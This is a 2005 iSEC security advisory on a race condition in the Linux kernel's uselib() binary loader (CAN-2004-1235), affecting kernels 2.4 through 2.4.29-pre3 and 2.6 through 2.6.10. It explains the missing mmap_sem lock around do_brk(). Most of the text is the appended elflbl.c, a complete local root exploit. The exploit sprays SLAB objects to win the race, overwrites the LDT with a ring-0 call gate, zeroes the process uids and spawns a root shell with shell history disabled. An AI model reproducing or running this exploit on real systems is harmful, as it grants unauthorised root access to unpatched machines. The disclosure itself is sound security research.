Synopsis:  Linux kernel uselib() privilege elevation
Product:   Linux kernel
Version:   2.4 up to and including 2.4.29-pre3, 2.6 up to and including 2.6.10
Vendor:    https://www.kernel.org/
URL:       https://isec.pl/vulnerabilities/isec-0021-uselib.txt
CVE:       CAN-2004-1235
Author:    Paul Starzetz <ihaquer@isec.pl>
Date:      Jan 07, 2005


Issue:
======

Locally  exploitable  flaws  have  been found in the Linux binary format
loaders'  uselib()  functions  that  allow  local  users  to  gain  root
privileges.


Details:
========

The Linux kernel provides a binary format loader layer to load (execute)
programs of different binary formats like ELF or  a.out  and  more.  The
kernel   also   provides   a  function  named  sys_uselib()  to  load  a
corresponding library.  This  function  is  dispatched  to  the  current
process's  binary  format  handler  and is basically a simplified mmap()
coupled with some header parsing code.

An analyze of the uselib function load_elf_library()  from  binfmt_elf.c
revealed a flaw in the handling of the library's brk segment (VMA). That
segment is created with the  current->mm->mmap_sem  semaphore  NOT  held
while  modifying  the  memory layout of the calling process. This can be
used to disturb the memory management and gain elevated privileges. Also
the binfmt_aout binary format loader code is affected in the same way.


Discussion:
=============

The  vulnerable  code  resides  for  example  in fs/binfmt_elf.c in your
kernel source code tree:

static int load_elf_library(struct file *file)
{
[904]  down_write(&current->mm->mmap_sem);
       error = do_mmap(file,
                     ELF_PAGESTART(elf_phdata->p_vaddr),
                     (elf_phdata->p_filesz +
                      ELF_PAGEOFFSET(elf_phdata->p_vaddr)),
                     PROT_READ | PROT_WRITE | PROT_EXEC,
                     MAP_FIXED | MAP_PRIVATE | MAP_DENYWRITE,
                     (elf_phdata->p_offset -
                      ELF_PAGEOFFSET(elf_phdata->p_vaddr)));
       up_write(&current->mm->mmap_sem);
       if (error != ELF_PAGESTART(elf_phdata->p_vaddr))
              goto out_free_ph;

       elf_bss = elf_phdata->p_vaddr + elf_phdata->p_filesz;
       padzero(elf_bss);

       len = ELF_PAGESTART(elf_phdata->p_filesz + elf_phdata->p_vaddr + ELF_MIN_ALIGN - 1);
       bss = elf_phdata->p_memsz + elf_phdata->p_vaddr;
       if (bss > len)
              do_brk(len, bss - len);

The line numbers are all valid for the 2.4.28 kernel version. As can  be
seen  the  mmap_sem  is  released  prior to calling do_brk() in order to
create the data section of the ELF library. On the other  hand,  looking
into  the code of sys_brk() from mm/mmap.c reveals that do_brk() must be
called with the mmap semaphore held.

A short look into the code of do_brk() shows that:

[1094] vma = kmem_cache_alloc(vm_area_cachep, SLAB_KERNEL);
       if (!vma)
              return -ENOMEM;

       vma->vm_mm = mm;
       vma->vm_start = addr;
       vma->vm_end = addr + len;
       vma->vm_flags = flags;
       vma->vm_page_prot = protection_map[flags & 0x0f];
       vma->vm_ops = NULL;
       vma->vm_pgoff = 0;
       vma->vm_file = NULL;
       vma->vm_private_data = NULL;

       vma_link(mm, vma, prev, rb_link, rb_parent);

where   rb_link   and   rb_parent   were   both   found    by    calling
find_vma_prepare().  Obviously,  if  the kmem_cache_alloc() call sleeps,
the newly created VMA descriptor  may  be  inserted  at  wrong  position
because the process's VMA list and the VMA RB-tree may have been changed
by another thread. This is absolutely enough to gain root privileges.

We  have  found  at  least  three  different  ways   to   exploit   this
vulnerability.  The  race condition can be easily won by consuming a big
amount of memory. The code attached uses a similar  technique  like  the
do_brk exploit and uses a LDT call gate to gain CPL0 privileges. However
another exploitation vectors exist: through page reference counters  and
'ghost PTEs'.


Impact:
=======

Unprivileged local users can gain elevated (root) privileges.


Credits:
========

Paul  Starzetz  <ihaquer@isec.pl>  has  identified the vulnerability and
performed further research. COPYING, DISTRIBUTION, AND  MODIFICATION  OF
INFORMATION  PRESENTED  HERE  IS ALLOWED ONLY WITH EXPRESS PERMISSION OF
ONE OF THE AUTHORS.


Disclaimer:
===========

This document and all the information it contains are provided "as  is",
for  educational  purposes  only,  without warranty of any kind, whether
express or implied.

The authors reserve the right not to be responsible for the  topicality,
correctness,  completeness  or  quality  of the information  provided in
this document. Liability claims regarding damage caused by  the  use  of
any  information  provided,  including  any kind of information which is
incomplete or incorrect, will therefore be rejected.


Appendix:
=========

/*
 *  binfmt_elf uselib VMA insert race vulnerability
 *  v1.08
 *
 *  gcc -O2 -fomit-frame-pointer elflbl.c -o elflbl
 *
 *  Copyright (c) 2004  iSEC Security Research. All Rights Reserved.
 *
 *  THIS PROGRAM IS FOR EDUCATIONAL PURPOSES *ONLY* IT IS PROVIDED "AS IS"
 *  AND WITHOUT ANY WARRANTY. COPYING, PRINTING, DISTRIBUTION, MODIFICATION
 *  WITHOUT PERMISSION OF THE AUTHOR IS STRICTLY PROHIBITED.
 *
 */


#define _GNU_SOURCE

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>
#include <errno.h>
#include <sched.h>
#include <syscall.h>
#include <limits.h>

#include <sys/types.h>
#include <sys/wait.h>
#include <sys/time.h>
#include <sys/mman.h>
#include <sys/sysinfo.h>

#include <linux/elf.h>
#include <linux/linkage.h>

#include <asm/page.h>
#include <asm/ldt.h>
#include <asm/segment.h>

#define str(s) #s
#define xstr(s) str(s)

#define MREMAP_MAYMOVE  1


//  temp lib location
#define LIBNAME   "/dev/shm/_elf_lib"

//  shell name
#define  SHELL    "/bin/bash"

//  time delta to detect race
#define RACEDELTA  5000

//  if you have more deadbabes in memory, change this
#define MAGIC    0xdeadbabe


//  do not touch
#define  SLAB_THRSH  128
#define  SLAB_PER_CHLD  (INT_MAX - 1)
#define LIB_SIZE  ( PAGE_SIZE * 4 )
#define STACK_SIZE  ( PAGE_SIZE * 4 )

#define LDT_PAGES  ( (LDT_ENTRIES*LDT_ENTRY_SIZE+PAGE_SIZE-1)/PAGE_SIZE )

#define ENTRY_GATE  ( LDT_ENTRIES-1 )
#define SEL_GATE  ( (ENTRY_GATE<<3)|0x07 )

#define ENTRY_LCS  ( ENTRY_GATE-2 )
#define SEL_LCS    ( (ENTRY_LCS<<3)|0x04 )

#define ENTRY_LDS  ( ENTRY_GATE-1 )
#define SEL_LDS    ( (ENTRY_LDS<<3)|0x04 )

#define kB    * 1024
#define MB    * 1024 kB
#define GB    * 1024 MB

#define TMPLEN    256
#define PGD_SIZE  ( PAGE_SIZE*1024 )


extern char **environ;

static char cstack[STACK_SIZE];
static char name[TMPLEN];
static char line[TMPLEN];


static volatile int
  val = 0,
  go = 0,
  finish = 0,
  scnt = 0,
  ccnt=0,
  delta = 0,
  delta_max = RACEDELTA,
  map_flags = PROT_WRITE|PROT_READ;


static int
  fstop=0,
  silent=0,
  pidx,
  pnum=0,
  smp_max=0,
  smp,
  wtime=2,
  cpid,
  uid,
  task_size,
  old_esp,
  lib_addr,
  map_count=0,
  map_base=0,
  map_addr,
  addr_min,
  addr_max,
  vma_start,
  vma_end,
  max_page;


static struct timeval tm1, tm2;

static char *myenv[] = {"TERM=vt100",
      "HISTFILE=/dev/null",
      NULL};

static char hellc0de[] = "\x49\x6e\x74\x65\x6c\x65\x63\x74\x75\x61\x6c\x20\x70\x72\x6f\x70"
                         "\x65\x72\x74\x79\x20\x6f\x66\x20\x49\x68\x61\x51\x75\x65\x52\x00";


static char *pagemap, *libname=LIBNAME, *shellname=SHELL;



#define __NR_sys_gettimeofday  __NR_gettimeofday
#define __NR_sys_sched_yield  __NR_sched_yield
#define __NR_sys_madvise  __NR_madvise
#define __NR_sys_uselib    __NR_uselib
#define __NR_sys_mmap2    __NR_mmap2
#define __NR_sys_munmap    __NR_munmap
#define __NR_sys_mprotect  __NR_mprotect
#define __NR_sys_mremap    __NR_mremap

inline _syscall6(int, sys_mmap2, int, a, int, b, int, c, int, d, int, e, int, f);

inline _syscall5(int, sys_mremap, int, a, int, b, int, c, int, d, int, e);

inline _syscall3(int, sys_madvise, void*, a, int, b, int, c);
inline _syscall3(int, sys_mprotect, int, a, int, b, int, c);
inline _syscall3( int, modify_ldt, int, func, void *, ptr, int, bytecount );

inline _syscall2(int, sys_gettimeofday, void*, a, void*, b);
inline _syscall2(int, sys_munmap, int, a, int, b);

inline _syscall1(int, sys_uselib, char*, l);

inline _syscall0(void, sys_sched_yield);



inline int tmdiff(struct timeval *t1, struct timeval *t2)
{
int r;

  r=t2->tv_sec - t1->tv_sec;
  r*=1000000;
  r+=t2->tv_usec - t1->tv_usec;
return r;
}


void fatal(const char *message, int critical)
{
int sig = critical? SIGSTOP : (fstop? SIGSTOP : SIGKILL);

  if(!errno) {
    fprintf(stdout, "\n[-] FAILED: %s ", message);
  } else {
    fprintf(stdout, "\n[-] FAILED: %s (%s) ", message,
      (char*) (strerror(errno)) );
  }
  if(critical)
    printf("\nCRITICAL, entering endless loop");
  printf("\n");
  fflush(stdout);

  unlink(libname);
  kill(cpid, SIGKILL);
  for(;;) kill(0, sig);
}


//  try to race do_brk sleeping on kmalloc, may need modification for SMP
int raceme(void* v)
{
  finish=1;

  for(;;) {
    errno = 0;

//  check if raced:
recheck:
    if(!go) sys_sched_yield();
    sys_gettimeofday(&tm2, NULL);
    delta = tmdiff(&tm1, &tm2);
    if(!smp_max && delta < (unsigned)delta_max) goto recheck;
    smp = smp_max;

//  check if lib VMAs exist as expected under race condition
recheck2:
    val = sys_madvise((void*) lib_addr, PAGE_SIZE, MADV_NORMAL);
    if(val) continue;
    errno = 0;
    val = sys_madvise((void*) (lib_addr+PAGE_SIZE),
        LIB_SIZE-PAGE_SIZE, MADV_NORMAL);
    if( !val || (val<0 && errno!=ENOMEM) ) continue;

//  SMP?
    smp--;
    if(smp>=0) goto recheck2;

//  recheck race
    if(!go) continue;
    finish++;

//  we need to free one vm_area_struct for mmap to work
    val = sys_mprotect(map_addr, PAGE_SIZE, map_flags);
    if(val) fatal("mprotect", 0);
    val = sys_mmap2(lib_addr + PAGE_SIZE, PAGE_SIZE*3, PROT_NONE,
            MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED, 0, 0);
    if(-1==val) fatal("mmap2 race", 0);
    printf("\n[+] race won maps=%d", map_count); fflush(stdout);
    _exit(0);
  }

return 0;
}


int callme_1()
{
  return val++;
}


inline int valid_ptr(unsigned ptr)
{
  return ptr>=task_size && ptr<addr_min-16;
}


inline int validate_vma(unsigned *p, unsigned s, unsigned e)
{
unsigned *t;

  if(valid_ptr(p[0]) && valid_ptr(p[3]) && p[1]==s && p[2]==e) {
    t=(unsigned*)p[3];
    if( t[0]==p[0] && t[1]<=task_size && t[2]<=task_size )
      return 1;
  }
  return 0;
}


asmlinkage void kernel_code(unsigned *task)
{
unsigned *addr = task;

//  find & reset uids
  while(addr[0] != uid || addr[1] != uid ||
        addr[2] != uid || addr[3] != uid)
    addr++;

  addr[0] = addr[0] = addr[2] = addr[3] = 0;
  addr[4] = addr[5] = addr[6] = addr[7] = 0;

//  find & correct VMA
  for(addr=(unsigned *)task_size; (unsigned)addr<addr_min-16; addr++) {
    if( validate_vma(addr, vma_start, vma_end) ) {
      addr[1] = task_size - PAGE_SIZE;
      addr[2] = task_size;
      break;
    }
  }
}


void kcode(void);


void __kcode(void)
{
asm(
  "kcode:            \n"
  "  pusha          \n"
  "  pushl  %es        \n"
  "  pushl  %ds        \n"
  "  movl  $(" xstr(SEL_LDS) ") ,%edx  \n"
  "  movl  %edx,%es      \n"
  "  movl  %edx,%ds      \n"
  "  movl  $0xffffe000,%eax    \n"
  "  andl  %esp,%eax      \n"
  "  pushl  %eax        \n"
  "  call  kernel_code      \n"
  "  addl  $4, %esp      \n"
  "  popl  %ds        \n"
  "  popl  %es        \n"
  "  popa          \n"
  "  lret          \n"
    );
}


int callme_2()
{
  return val + task_size + addr_min;
}


void sigfailed(int v)
{
  ccnt++;
  fatal("lcall", 1);
}


//  modify LDT & exec
void try_to_exploit(unsigned addr)
{
volatile int r, *v;

  printf("\n[!] try to exploit 0x%.8x", addr); fflush(stdout);
  unlink(libname);

  r = sys_mprotect(addr, PAGE_SIZE, PROT_READ|PROT_WRITE|map_flags);
  if(r) fatal("mprotect 1", 1);

//  check if really LDT
  v = (void*) (addr + (ENTRY_GATE*LDT_ENTRY_SIZE % PAGE_SIZE) );
  signal(SIGSEGV, sigfailed);
  r = *v;
  if(r != MAGIC) {
    printf("\n[-] FAILED val = 0x%.8x", r); fflush(stdout);
    fatal("find LDT", 1);
  }

//  yeah, setup CPL0 gate
  v[0] = ((unsigned)(SEL_LCS)<<16) | ((unsigned)kcode & 0xffffU);
  v[1] = ((unsigned)kcode & ~0xffffU) | 0xec00U;
  printf("\n[+] gate modified ( 0x%.8x 0x%.8x )", v[0], v[1]); fflush(stdout);

//  setup CPL0 segment descriptors (we need the 'accessed' versions ;-)
  v = (void*) (addr + (ENTRY_LCS*LDT_ENTRY_SIZE % PAGE_SIZE) );
  v[0] = 0x0000ffff; /* kernel 4GB code at 0x00000000 */
  v[1] = 0x00cf9b00;

  v = (void*) (addr + (ENTRY_LDS*LDT_ENTRY_SIZE % PAGE_SIZE) );
  v[0] = 0x0000ffff; /* kernel 4GB data at 0x00000000 */
  v[1] = 0x00cf9300;

//  reprotect to get only one big VMA
  r = sys_mprotect(addr, PAGE_SIZE, PROT_READ|map_flags);
  if(r) fatal("mprotect 2", 1);

//  CPL0 transition
  sys_sched_yield();
  val = callme_1() + callme_2();
  asm("lcall $" xstr(SEL_GATE) ",$0x0");
  if( getuid()==0 || (val==31337 && strlen(hellc0de)==16) ) {
    printf("\n[+] exploited, uid=0\n\n" ); fflush(stdout);
  } else {
    printf("\n[-] uid change failed" ); fflush(stdout);
    sigfailed(0);
  }
  signal(SIGTERM, SIG_IGN);
  kill(0, SIGTERM);
  execl(shellname, "sh", NULL);
  fatal("execl", 0);
}


void scan_mm_finish();
void scan_mm_start();


//  kernel page table scan code
void scan_mm()
{
  map_addr -= PAGE_SIZE;
  if(map_addr <= (unsigned)addr_min)
    scan_mm_start();

  scnt=0;
  val = *(int*)map_addr;
  scan_mm_finish();
}


void scan_mm_finish()
{
retry:
  __asm__("movl  %0, %%esp" : :"m"(old_esp) );

  if(scnt) {
    pagemap[pidx] ^= 1;
  }
  else {
    sys_madvise((void*)map_addr, PAGE_SIZE, MADV_DONTNEED);
  }
  pidx--;
  scan_mm();
  goto retry;
}


//  make kernel page maps before and after allocating LDT
void scan_mm_start()
{
static int npg=0;
static struct modify_ldt_ldt_s l;

  pnum++;
  if(pnum==1) {
    pidx = max_page-1;
  }
  else if(pnum==2) {
    memset(&l, 0, sizeof(l));
    l.entry_number = LDT_ENTRIES-1;
    l.seg_32bit = 1;
    l.base_addr = MAGIC >> 16;
    l.limit = MAGIC & 0xffff;
    l.limit_in_pages = 1;
    if( modify_ldt(1, &l, sizeof(l)) != 0 )
      fatal("modify_ldt", 1);
    pidx = max_page-1;
  }
  else if(pnum==3) {
    npg=0;
    for(pidx=0; pidx<=max_page-1; pidx++) {
      if(pagemap[pidx]) {
        npg++;
        fflush(stdout);
      }
      else if(npg == LDT_PAGES) {
        npg=0;
        try_to_exploit(addr_min+(pidx-1)*PAGE_SIZE);
      } else {
        npg=0;
      }
    }
    fatal("find LDT", 1);
  }

//  save context & scan page table
  __asm__("movl  %%esp, %0" : :"m"(old_esp) );
  map_addr = addr_max;
  scan_mm();
}


//  return number of available SLAB objects in cache
int get_slab_objs(const char *sn)
{
static int c, d, u = 0, a = 0;
FILE *fp=NULL;

  fp = fopen("/proc/slabinfo", "r");
  if(!fp)
    fatal("get_slab_objs: fopen", 0);
  fgets(name, sizeof(name) - 1, fp);
  do {
    c = u = a = -1;
    if (!fgets(line, sizeof(line) - 1, fp))
      break;
    c = sscanf(line, "%s %u %u %u %u %u %u", name, &u, &a,
         &d, &d, &d, &d);
  } while (strcmp(name, sn));
  close(fileno(fp));
  fclose(fp);
  return c == 7 ? a - u : -1;
}


//  leave one object in the SLAB
inline void prepare_slab()
{
int *r;

  map_addr -= PAGE_SIZE;
  map_count++;
  map_flags ^= PROT_READ;

  r = (void*)sys_mmap2((unsigned)map_addr, PAGE_SIZE, map_flags,
           MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED, 0, 0);
  if(MAP_FAILED == r) {
    fatal("try again", 0);
  }
  *r = map_addr;
}


//  sig handlers
void segvcnt(int v)
{
  scnt++;
  scan_mm_finish();
}


//  child reap
void reaper(int v)
{
  ccnt++;
  waitpid(0, &v, WNOHANG|WUNTRACED);
}


//  sometimes I get the VMAs in reversed order...
//  so just use anyone of the two but take care about the flags
void check_vma_flags();

void vreversed(int v)
{
  map_flags = 0;
  check_vma_flags();
}


void check_vma_flags()
{
  if(map_flags) {
    __asm__("movl  %%esp, %0" : :"m"(old_esp) );
  } else {
    __asm__("movl  %0, %%esp" : :"m"(old_esp) );
    goto out;
  }
  signal(SIGSEGV, vreversed);
  val = * (unsigned*)(lib_addr + PAGE_SIZE);
out:
}


//  use elf library and try to sleep on kmalloc
void exploitme()
{
int r, sz, pcnt=0;
static char smiley[]="-\\|/-\\|/";

//  printf("\n    cat /proc/%d/maps", getpid() ); fflush(stdout);

//  helper clone
  finish=0; ccnt=0;
  sz = sizeof(cstack) / sizeof(cstack[0]);
  cpid = clone(&raceme, (void*) &cstack[sz-16],
      CLONE_VM|CLONE_SIGHAND|CLONE_FS|SIGCHLD, NULL );
  if(-1==cpid) fatal("clone", 0);

//  synchronize threads
  while(!finish) sys_sched_yield();
  finish=0;
  if(!silent) {
    printf("\n"); fflush(stdout);
  }

//  try to hit the kmalloc race
  for(;;) {

    r = get_slab_objs("vm_area_struct");
    while(r != 1) {
      prepare_slab();
      r--;
    }

    sys_gettimeofday(&tm1, NULL);
    go = 1;
    r=sys_uselib(libname);
    go = 0;
    if(r) fatal("uselib", 0);
    if(finish) break;

//  wipe lib VMAs and try again
    r = sys_munmap(lib_addr, LIB_SIZE);
    if(r) fatal("munmap lib", 0);
    if(ccnt) goto failed;

    if( !silent && !(pcnt%64) ) {
      printf("\r    Wait... %c", smiley[ (pcnt/64)%8 ]);
      fflush(stdout);
    }
    pcnt++;
  }

//  seems we raced, free mem
  r = sys_munmap(map_addr, map_base-map_addr + PAGE_SIZE);
  if(r) fatal("munmap 1", 0);
  r = sys_munmap(lib_addr, PAGE_SIZE);
  if(r) fatal("munmap 2", 0);
  
//  relax kswapd
  sys_gettimeofday(&tm1, NULL);
  for(;;) {
    sys_sched_yield();
    sys_gettimeofday(&tm2, NULL);
    delta = tmdiff(&tm1, &tm2);
    if( wtime*1000000U <= (unsigned)delta ) break;
  }

//  we need to check the PROT_EXEC flag
  map_flags = PROT_EXEC;
  check_vma_flags();
  if(!map_flags) {
    printf("\n    VMAs reversed"); fflush(stdout);
  }

//  write protect brk's VMA to fool vm_enough_memory()
  r = sys_mprotect((lib_addr + PAGE_SIZE), LIB_SIZE-PAGE_SIZE,
       PROT_READ|map_flags);
  if(-1==r) { fatal("mprotect brk", 0); }

//  this will finally make the big VMA...
  sz = (0-lib_addr) - LIB_SIZE - PAGE_SIZE;
expand:
  r = sys_madvise((void*)(lib_addr + PAGE_SIZE),
      LIB_SIZE-PAGE_SIZE, MADV_NORMAL);
  if(r) fatal("madvise", 0);
  r = sys_mremap(lib_addr + LIB_SIZE-PAGE_SIZE,
      PAGE_SIZE, sz, MREMAP_MAYMOVE, 0);
  if(-1==r) {
    if(0==sz) {
      fatal("mremap: expand VMA", 0);
    } else {
      sz -= PAGE_SIZE;
      goto expand;
    }
  }
  vma_start = lib_addr + PAGE_SIZE;
  vma_end = vma_start + sz + 2*PAGE_SIZE;
  printf("\n    expanded VMA (0x%.8x-0x%.8x)", vma_start, vma_end);
  fflush(stdout);

//  try to figure kernel layout
  signal(SIGCHLD, reaper);
  signal(SIGSEGV, segvcnt);
  signal(SIGBUS, segvcnt);
  scan_mm_start();

failed:
  fatal("try again", 0);

}


//  make fake ELF library
void make_lib()
{
struct elfhdr eh;
struct elf_phdr eph;
static char tmpbuf[PAGE_SIZE];
int fd;

//  make our elf library
  umask(022);
  unlink(libname);
  fd=open(libname, O_RDWR|O_CREAT|O_TRUNC, 0755);
  if(fd<0) fatal("open lib ("LIBNAME" not writable?)", 0);
  memset(&eh, 0, sizeof(eh) );

//  elf exec header
  memcpy(eh.e_ident, ELFMAG, SELFMAG);
  eh.e_type = ET_EXEC;
  eh.e_machine = EM_386;
  eh.e_phentsize = sizeof(struct elf_phdr);
  eh.e_phnum = 1;
  eh.e_phoff = sizeof(eh);
  write(fd, &eh, sizeof(eh) );

//  section header:
  memset(&eph, 0, sizeof(eph) );
  eph.p_type = PT_LOAD;
  eph.p_offset = 4096;
  eph.p_filesz = 4096;
  eph.p_vaddr = lib_addr;
  eph.p_memsz = LIB_SIZE;
  eph.p_flags = PF_W|PF_R|PF_X;
  write(fd, &eph, sizeof(eph) );

//  execable code
  lseek(fd, 4096, SEEK_SET);
  memset(tmpbuf, 0x90, sizeof(tmpbuf) );
  write(fd, &tmpbuf, sizeof(tmpbuf) );
  close(fd);
}


//  move stack down #2
void prepare_finish()
{
int r;
static struct sysinfo si;

  old_esp &= ~(PAGE_SIZE-1);
  old_esp -= PAGE_SIZE;
  task_size = ((unsigned)old_esp + 1 GB ) / (1 GB) * 1 GB;
  r = sys_munmap(old_esp, task_size-old_esp);
  if(r) fatal("unmap stack", 0);

//  setup rt env
  uid = getuid();
  lib_addr = task_size - LIB_SIZE - PAGE_SIZE;
  if(map_base)
    map_addr = map_base;
  else
    map_base = map_addr = (lib_addr - PGD_SIZE) & ~(PGD_SIZE-1);
  printf("\n[+] moved stack %x, task_size=0x%.8x, map_base=0x%.8x",
    old_esp, task_size, map_base); fflush(stdout);

//  check physical mem & prepare
  sysinfo(&si);
  addr_min = task_size + si.totalram;
  addr_min = (addr_min + PGD_SIZE - 1) & ~(PGD_SIZE-1);
  addr_max = addr_min + si.totalram;
  if((unsigned)addr_max >= 0xffffe000 || (unsigned)addr_max < (unsigned)addr_min)
    addr_max = 0xffffd000;

  printf("\n[+] vmalloc area 0x%.8x - 0x%.8x", addr_min, addr_max);
  max_page = (addr_max - addr_min) / PAGE_SIZE;
  pagemap = malloc( max_page + 32 );
  if(!pagemap) fatal("malloc pagemap", 1);
  memset(pagemap, 0, max_page + 32);

//  go go
  make_lib();
  exploitme();
}


//  move stack down #1
void prepare()
{
unsigned p=0;

  environ = myenv;

  p = sys_mmap2( 0, STACK_SIZE, PROT_READ|PROT_WRITE,
           MAP_PRIVATE|MAP_ANONYMOUS, 0, 0  );
  if(-1==p) fatal("mmap2 stack", 0);
  p += STACK_SIZE - 64;

  __asm__("movl  %%esp, %0  \n"
    "movl   %1, %%esp  \n"
    : : "m"(old_esp), "m"(p)
  );

  prepare_finish();
}


void chldcnt(int v)
{
  ccnt++;
}


//  alloc slab objects...
inline void do_wipe()
{
int *r, c=0, left=0;

  __asm__("movl  %%esp, %0" : : "m"(old_esp) );

  old_esp = (old_esp - PGD_SIZE+1) & ~(PGD_SIZE-1);
  old_esp = map_base? map_base : old_esp;

  for(;;) {
    if(left<=0)
      left = get_slab_objs("vm_area_struct");
    if(left <= SLAB_THRSH)
      break;
    left--;

    map_flags ^= PROT_READ;
    old_esp -= PAGE_SIZE;
    r = (void*)sys_mmap2(old_esp, PAGE_SIZE, map_flags,
      MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED, 0, 0 );
    if(MAP_FAILED == r)
      break;

    if(c>SLAB_PER_CHLD)
      break;
    if( (c%1024)==0 ) {
      if(!c) printf("\n");
      printf("\r    child %d VMAs %d", val, c);
      fflush(stdout);
    }
    c++;
  }
  printf("\r    child %d VMAs %d", val, c);
  fflush(stdout);
  kill(getppid(), SIGUSR1);
  for(;;) pause();
}


//  empty SLAB caches
void wipe_slab()
{
  signal(SIGUSR1, chldcnt);
  printf("\n[+] SLAB cleanup"); fflush(stdout);
  for(;;) {
    ccnt=0;
    val++;
    cpid = fork();
    if(!cpid)
      do_wipe();

    while(!ccnt) sys_sched_yield();
    if( get_slab_objs("vm_area_struct") <= SLAB_THRSH )
      break;
  }
  signal(SIGUSR1, SIG_DFL);
}


void usage(char *n)
{
  printf("\nUsage: %s\t-f forced stop\n", n);
  printf("\t\t-s silent mode\n");
  printf("\t\t-c command to run\n");
  printf("\t\t-n SMP iterations\n");
  printf("\t\t-d race delta us\n");
  printf("\t\t-w wait time seconds\n");
  printf("\t\t-l alternate lib name\n");
  printf("\t\t-a alternate addr hex\n");
  printf("\n");
  _exit(1);
}


//  give -s for forced stop, -b to clean SLAB
int main(int ac, char **av)
{
int r;

  while(ac) {
    r = getopt(ac, av, "n:l:a:w:c:d:fsh");
    if(r<0) break;

    switch(r) {

    case 'f' :
      fstop = 1;
      break;

    case 's' :
      silent = 1;
      break;

    case 'n' :
      smp_max = atoi(optarg);
      break;

    case 'd':
      if(1!=sscanf(optarg, "%u", &delta_max) || delta_max > 100000u )
        fatal("bad delta value", 0);
      break;

    case 'w' :
      wtime = atoi(optarg);
      if(wtime<0) fatal("bad wait value", 0);
      break;

    case 'l' :
      libname = strdup(optarg);
      break;

    case 'c' :
      shellname = strdup(optarg);
      break;

    case 'a' :
      if(1!=sscanf(optarg, "%x", &map_base))
        fatal("bad addr value", 0);
      map_base &= ~(PGD_SIZE-1);
      break;

    case 'h' :
    default:
      usage(av[0]);
      break;
    }
  }

//  basic setup
  uid = getuid();
  setpgrp();
  wipe_slab();
  prepare();

return 0;
}